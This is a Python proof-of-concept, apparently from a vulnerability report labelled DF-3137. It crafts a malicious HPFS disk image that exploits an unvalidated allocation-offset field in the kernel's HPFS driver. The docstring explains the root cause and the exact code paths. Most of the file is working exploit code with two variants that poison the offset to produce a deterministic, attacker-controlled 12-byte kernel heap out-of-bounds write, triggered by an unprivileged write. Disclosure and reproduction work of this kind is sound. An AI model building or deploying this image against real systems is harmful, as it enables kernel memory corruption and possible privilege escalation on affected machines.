#!/usr/bin/env python3
"""
DF-3137 — crafted HPFS image demonstrating the unvalidated ab_freeoff
out-of-bounds write in the allocation-append path of
sys/vfs/hpfs/hpfs_alsubr.c.

Root cause: ab_freeoff (u_int16_t) is raw on-disk data, never validated
(hpfs_vfsops.c:535 bcopy's the fnode in and checks only fn_magic;
hpfs_breadalsec checks only AS_MAGIC).  It is then used DIRECTLY as the
byte offset for new allocation entries:

  hpfs_addextent  :452  AL_SET(AB_FREEALP(rabp), ...)   (fnode root ->
                     &hp->h_fn.fn_ab + freeoff  inside the kmalloc'd
                     struct hpfsnode)
  hpfs_addextentr :643  AL_SET(AB_FREEALP(rabp), ...)   (AlSec buffer ->
                     bp->b_data + 12 + freeoff, 512-byte buffer)
  hpfs_concatalsec:278  bcopy(..., AB_FREEANP(ab0p), ...) (dest offset)

with AB_FREEALP(abp) == (alleaf_t *)((caddr_t)(abp) + (abp)->ab_freeoff)
(hpfs.h:154) and freeoff attacker-chosen in [0, 0xFFFF].

AL_SET (hpfs.h:244) writes a 12-byte alleaf {al_off, al_len, al_lsn}:
  al_off = ceil(fn_size/512)            (attacker-known)
  al_len = nlen                         (free-run length, attacker-crafted
                                         via the bitmap)
  al_lsn = nlsn                         (free-run start, attacker-crafted)

=> fully-deterministic 12-byte heap OOB write with attacker-chosen
   contents at an attacker-chosen offset (up to +64KB) past the start of
   a kmalloc'd kernel object, triggered by a single unprivileged
   pwrite(2) that extends the file by one extent.

Variants:
  alsec  — trigger lands in hpfs_addextentr:643 (512-byte AlSec b_data);
           freeoff = 500 puts the 12 bytes exactly at b_data[512..524),
           i.e. 0 bytes past the end of the buffer.
  fnode  — trigger lands in hpfs_addextent:452 (struct hpfsnode);
           freeoff >= ~0x350 writes past the ~850-byte kmalloc object.

usage: craft_img.py <out.img> <alsec|fnode> <freeoff>
"""
import struct, sys

SECTOR = 512
IMGSEC = 0x1000
SU_MAGIC = 0xFA53E9C5F995E849
SP_MAGIC = 0xFA5229C5F9911849
FN_MAGIC = 0xF7E40AAE
D_MAGIC  = 0x77E40AAE
AB_NODES = 0x80

FN_OFF_MAGIC, FN_OFF_NAMELEN, FN_OFF_NAME = 0x00, 0x10, 0x11
FN_OFF_PARENT, FN_OFF_FLAG, FN_OFF_AB, FN_OFF_ABD, FN_OFF_SIZE = \
    0x20, 0x3B, 0x3C, 0x44, 0xA4
AB_OFF_FLAG, AB_OFF_FREECNT, AB_OFF_BUSYCNT, AB_OFF_FREEOFF = 0, 4, 5, 6
AS_OFF_AB = 0x0C
AS_OFF_ABD = 0x14

def build(outpath, variant, freeoff):
    img = bytearray(IMGSEC * SECTOR)
    def wr32(o, v): struct.pack_into('<I', img, o, v & 0xFFFFFFFF)
    def wr64(o, v): struct.pack_into('<Q', img, o, v & 0xFFFFFFFFFFFFFFFF)
    def wr16(o, v): struct.pack_into('<H', img, o, v & 0xFFFF)
    def wr8(o, v):  img[o] = v & 0xFF

    img[0] = 0xEB
    wr16(SECTOR - 2, 0xAA55)

    su = 0x10 * SECTOR
    wr64(su + 0, SU_MAGIC); wr8(su + 8, 2)
    wr32(su + 12, 0x20)
    wr32(su + 16, IMGSEC)
    wr32(su + 20, 0)
    wr32(su + 24, 0x30); wr32(su + 28, 0x30)
    wr64(0x11 * SECTOR, SP_MAGIC)

    wr32(0x30 * SECTOR, 0x38)
    bm = 0x38 * SECTOR
    # all busy below 0x200 (incl. sector 0x101 so bmlookup falls through
    # to the band scan); free run 0x200..0x400 so nlsn=0x200, nlen=run
    for i in range(0x200):
        b = bm + (i >> 3)
        img[b] &= ~(1 << (i & 7))
    # leave 0x200..0x3FF free (bitmap defaults to 0 = busy? NO: HPFS
    # bitmap bit 1 == FREE; fresh img bytes are 0 == all busy, so set 1s)
    for i in range(0x200, 0x400):
        b = bm + (i >> 3)
        img[b] |= (1 << (i & 7))
    # sectors >= 0x400 busy (leave zero)

    rf = 0x20 * SECTOR
    wr32(rf + FN_OFF_MAGIC, FN_MAGIC)
    wr8(rf + FN_OFF_NAMELEN, 1); img[rf + FN_OFF_NAME] = ord('.')
    wr32(rf + FN_OFF_PARENT, 0x20)
    wr8(rf + FN_OFF_FLAG, 1)
    img[rf + FN_OFF_AB + AB_OFF_FLAG] = 0
    img[rf + FN_OFF_AB + AB_OFF_FREECNT] = 7
    img[rf + FN_OFF_AB + AB_OFF_BUSYCNT] = 1
    wr16(rf + FN_OFF_AB + AB_OFF_FREEOFF, 8 + 12)
    wr32(rf + FN_OFF_ABD + 0, 0); wr32(rf + FN_OFF_ABD + 4, 1)
    wr32(rf + FN_OFF_ABD + 8, 0x40)
    wr32(rf + FN_OFF_SIZE, 4 * SECTOR)

    db = 0x40 * SECTOR
    wr32(db + 0, D_MAGIC); wr32(db + 4, 0x50); wr32(db + 8, 0)
    wr32(db + 12, 0x20); wr32(db + 16, 0x40)
    name = b'FILE'
    dep = db + 20
    reclen = ((0x2f + len(name)) + 3) & ~3
    wr16(dep + 0x00, reclen); wr16(dep + 0x02, 0)
    wr32(dep + 0x04, 0x48)
    wr64(dep + 0x08, 0); wr32(dep + 0x10, 0x10000)
    wr64(dep + 0x18, 0); wr64(dep + 0x20, 0); wr32(dep + 0x28, 0)
    img[dep + 0x2e] = len(name)
    for i, c in enumerate(name):
        img[dep + 0x2f + i] = c
    dep2 = dep + reclen
    wr16(dep2 + 0x00, 4 * SECTOR - (dep2 - db))
    wr16(dep2 + 0x02, 0x08)
    wr32(db + 4, (dep2 + 4) - db)

    ff = 0x48 * SECTOR
    wr32(ff + FN_OFF_MAGIC, FN_MAGIC)
    wr32(ff + FN_OFF_PARENT, 0x20)
    wr8(ff + FN_OFF_NAMELEN, 4)
    img[ff + FN_OFF_NAME:ff + FN_OFF_NAME + 4] = b'FILE'
    wr8(ff + FN_OFF_FLAG, 0)
    wr32(ff + FN_OFF_SIZE, 512)      # al.al_off = 1 (no init path)

    # "real" leaf[1] used by the post-extend data write so the pwrite
    # completes normally after the OOB insertion:
    #   {al_off:1, al_len:0x200, al_lsn:0x200}
    def real_leaf1(base):
        wr32(base + 8 + 12 + 0, 1)
        wr32(base + 8 + 12 + 4, 0x200)
        wr32(base + 8 + 12 + 8, 0x200)

    if variant == 'alsec':
        # root fnode: AB_NODES, one alnode -> AlSec C at 0x50
        img[ff + FN_OFF_AB + AB_OFF_FLAG] = AB_NODES
        img[ff + FN_OFF_AB + AB_OFF_FREECNT] = 0xB
        img[ff + FN_OFF_AB + AB_OFF_BUSYCNT] = 1
        wr16(ff + FN_OFF_AB + AB_OFF_FREEOFF, 8 + 8)
        wr32(ff + FN_OFF_ABD + 0, 0xFFFFFFFF)
        wr32(ff + FN_OFF_ABD + 4, 0x50)          # an_lsn -> C

        c = 0x50 * SECTOR
        wr32(c + 0, 0x37E40AAE); wr32(c + 4, 0x50); wr32(c + 8, 0x48)
        img[c + AS_OFF_AB + AB_OFF_FLAG] = 0    # leaves
        img[c + AS_OFF_AB + AB_OFF_FREECNT] = 0x28
        img[c + AS_OFF_AB + AB_OFF_BUSYCNT] = 1
        wr16(c + AS_OFF_AB + AB_OFF_FREEOFF, freeoff)   # <<< POISON
        # leaf[0]: {al_off:0, al_len:1, al_lsn:0x100}
        wr32(c + AS_OFF_ABD + 0, 0)
        wr32(c + AS_OFF_ABD + 4, 1)
        wr32(c + AS_OFF_ABD + 8, 0x100)
        real_leaf1(c + AS_OFF_AB)
    else:
        # root fnode: leaves, poisoned freeoff
        img[ff + FN_OFF_AB + AB_OFF_FLAG] = 0
        img[ff + FN_OFF_AB + AB_OFF_FREECNT] = 7
        img[ff + FN_OFF_AB + AB_OFF_BUSYCNT] = 1
        wr16(ff + FN_OFF_AB + AB_OFF_FREEOFF, freeoff)  # <<< POISON
        wr32(ff + FN_OFF_ABD + 0, 0)
        wr32(ff + FN_OFF_ABD + 4, 1)
        wr32(ff + FN_OFF_ABD + 8, 0x100)
        real_leaf1(ff + FN_OFF_AB)

    with open(outpath, 'wb') as f:
        f.write(img)
    print("wrote %s: variant=%s freeoff=0x%x -> 12-byte AL_SET write at "
          "obj+%d" % (outpath, variant, freeoff,
                      12 + freeoff if variant == 'alsec' else freeoff))

if __name__ == '__main__':
    build(sys.argv[1], sys.argv[2], int(sys.argv[3], 0))
